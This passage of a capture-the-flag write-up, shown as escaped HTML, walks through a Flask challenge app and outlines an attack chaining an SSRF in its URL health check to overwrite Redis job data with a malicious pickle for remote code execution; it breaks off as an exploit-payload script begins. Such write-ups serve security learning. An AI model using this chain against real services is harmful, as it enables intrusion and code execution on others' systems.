&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">trackID&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TrapTracks&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">filter_by&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">trackID&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">delete&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">db&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">commit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">pass&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Trap Track deleted successfully!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/tracks/&amp;lt;int:job_id&amp;gt;/status&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;GET&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">job_status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Job does not exist!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">mimetype&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;application/json&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/logout&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">logout&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">logout_user&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">&amp;gt; This code is a Flask web application that has two blueprints (web and api) and uses a database to store and manage User and TrapTracks models.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; The web blueprint defines three routes:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 1. &amp;#39;/&amp;#39; that renders a login template.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 2. &amp;#39;/admin/&amp;#39; that requires login and renders an admin template with all TrapTracks.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 3. &amp;#39;/logout&amp;#39; that requires login and logs out the user.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; The api blueprint defines four routes:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 1. &amp;#39;/login&amp;#39; that receives a POST request with a JSON payload containing a username and password field, authenticates the user, and returns a response with a message.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 2. &amp;#39;/tracks/list&amp;#39; that requires login and returns a response with all the TrapTracks.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 3. &amp;#39;/tracks/add&amp;#39; that requires login and receives a POST request with a JSON payload containing a trapName and a trapURL field, adds a new TrapTrack to the database, and returns a response with a message.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; 4. &amp;#39;/tracks/delete&amp;#39; that requires login and receives a POST request with a JSON payload containing an id field that corresponds to a TrapTrack to be deleted from the database.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; The response function is a helper function that returns a JSON response with a message and an optional status.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; The code uses Flask-Login to manage user authentication and Flask-Caching to cache job data.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; --ChatGPT--
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hmmm, pretty neat, so it does keep records of all the tracks or we might say all the jobs. Let&amp;rsquo;s look deeper into how the jobs are created and executed.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">current_app&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">pickle&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">val&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">val&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">config&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">finally&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">val&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_job_list&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hkeys&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_JOBS&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">job_id&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">data&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_job_id&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">job_id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_NUM_JOBS&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">incr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_NUM_JOBS&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">job_id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">create_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">job_id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_job_id&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;job_id&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;trap_name&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;trap_url&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;completed&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;inprogress&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;health&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_JOBS&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64encode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rpush&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_QUEUE&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">data&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hget&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_JOBS&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">loads&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, so it has some function like:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Get all jobs&amp;rsquo; IDs from Redis database&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Get current incremented ID&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Queue a job in the database&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Get the data from of a job with given ID&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>What truely stand out of all these are these line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hget&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_JOBS&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">loads&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="c1"># My money maker&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The principal is somewhat similar to a misc chall called &lt;code>Hijack&lt;/code>. This is no doubt a &lt;code>pickle deserialization&lt;/code> attack which can execute remote code, our code.&lt;/p>
&lt;p>Is this the end of the challenge? Well, &lt;code>no&lt;/code>. Let&amp;rsquo;s look up a few lines and see why.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">create_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">job_id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_job_id&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;job_id&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">job_id&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;trap_name&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;trap_url&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;completed&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;inprogress&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;health&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_JOBS&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64encode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="c1"># This line right here&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">current_app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">redis&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rpush&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;REDIS_QUEUE&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">job_id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">data&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The data that should give us way to pass in our malicious class is actually serialized before it can be unserialized. The challenge is not that simple as it looks anymore.&lt;/p>
&lt;p>Another features of the app is that health checking thing. It takes a URL and calls to URL regardless of host and protocol. This is perfect as we know Redis also runs on this challenge instance &lt;strong>and&lt;/strong> our data is stored on it including those jobs. So if we can somehow manange this feature to change the data of a job to a pickle serialized base64 encoded string of an &amp;ldquo;evil&amp;rdquo; object, when this data os loaded, there will be RCE. This can be done with the URL health check features.&lt;/p>
&lt;p>So to summarize, we will make use of SSRF vulnerabilities to change the data so it can trigger pickle deserialzation attack.&lt;/p>
&lt;p>Good theory, but how can we perform such an attack. There are good resources on this:&lt;/p>
&lt;p>&lt;a href="https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b" target="_blank" rel="noopener">https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://trevorsaudi.medium.com/ssrf-to-gaining-rce-rootme-ssrf-box-31b7d0e5ad08" target="_blank" rel="noopener">https://trevorsaudi.medium.com/ssrf-to-gaining-rce-rootme-ssrf-box-31b7d0e5ad08&lt;/a>&lt;/p>
&lt;p>There&amp;rsquo;s a tool called &lt;code>Gopherus&lt;/code> but since this challenge is more simple, I will try to modify a script on a &lt;a href="https://github.com/rhamaa/Web-Hacking-Lab/blob/master/SSRF_REDIS_LAB/payload_redis.py" target="_blank" rel="noopener">github repo&lt;/a> to:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">__future__&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">print_function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">urllib.parse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">pickle&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">subprocess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">generate_resp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
